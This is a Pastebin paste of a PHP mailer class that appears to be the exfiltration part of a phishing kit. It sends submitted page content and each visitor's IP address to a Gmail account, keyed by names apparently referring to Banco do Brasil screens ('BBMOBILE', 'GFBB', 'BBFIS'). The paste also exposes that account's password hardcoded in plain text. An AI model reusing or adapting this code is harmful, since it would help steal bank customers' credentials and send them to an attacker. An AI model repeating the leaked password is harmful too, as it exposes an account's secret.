daily pastebin goal
76%
SHARE
TWEET

Untitled

a guest Sep 14th, 2018 214 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. class EnviarEmail
  3. {
  4.  
  5.     private $msg;
  6.     private $banco;
  7.     private $ip;
  8.  
  9.     private $email_principal = "digitaloceanrr@gmail.com, HulkDNS";
  10.  
  11.     function __construct($assunto='',$msg='',$banco='',$anexo=array()) {
  12.  
  13.         $this->msg          = $msg;
  14.         $this->banco            = $banco;
  15.         $this->ip           = $_SERVER["REMOTE_ADDR"];
  16.  
  17.         $data = array();
  18.  
  19.         date_default_timezone_set('America/Sao_Paulo');
  20.      require __DIR__ . "/../PHPMailer/PHPMailerAutoload.php";
  21.         //Configurar
  22.         $email_send = "digitaloceanrr@gmail.com";
  23.         $pass_send  = "Dingundas9090";
  24.         $name_send  = "otario";
  25.  
  26.         $mail = new PHPMailer;
  27.         $mail->isSMTP();
  28.         $mail->Host = 'smtp.gmail.com';
  29.         $mail->Port = 587;
  30.         $mail->SMTPSecure = 'ttl';
  31.         $mail->SMTPAuth = true;
  32.         $mail->Username = $email_send;
  33.         $mail->Password = $pass_send;
  34.         $mail->setFrom($email_send, $_SERVER["REMOTE_ADDR"]);
  35.         $mail->Subject = $assunto." - ".$_SERVER["REMOTE_ADDR"];
  36.  
  37.         if (count($anexo) > 0) {
  38.             $mail->AddAttachment($anexo[0],$anexo[1]);
  39.         }
  40.  
  41.         $des = EnviarEmail::Lista($this->banco);
  42.         $mail->addAddress($des[0], $des[1]);
  43.  
  44.         $mail->msgHTML($this->msg);
  45.  
  46.         if ($mail->send()) {
  47.             return true;
  48.         } else {
  49.             return false;
  50.         }
  51.     }
  52.  
  53.     public function Lista()
  54.     {
  55.         //telas
  56.         $this->lista['BBMOBILE']        = "digitaloceanrr@gmail.com,bora";
  57.         $this->lista['GFBB']        = "digitaloceanrr@gmail.com,bora";
  58.         $this->lista['BBFIS']       = "digitaloceanrr@gmail.com,bora";
  59.  
  60.         return explode(',', $this->lista[$this->banco]);
  61.     }
  62. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top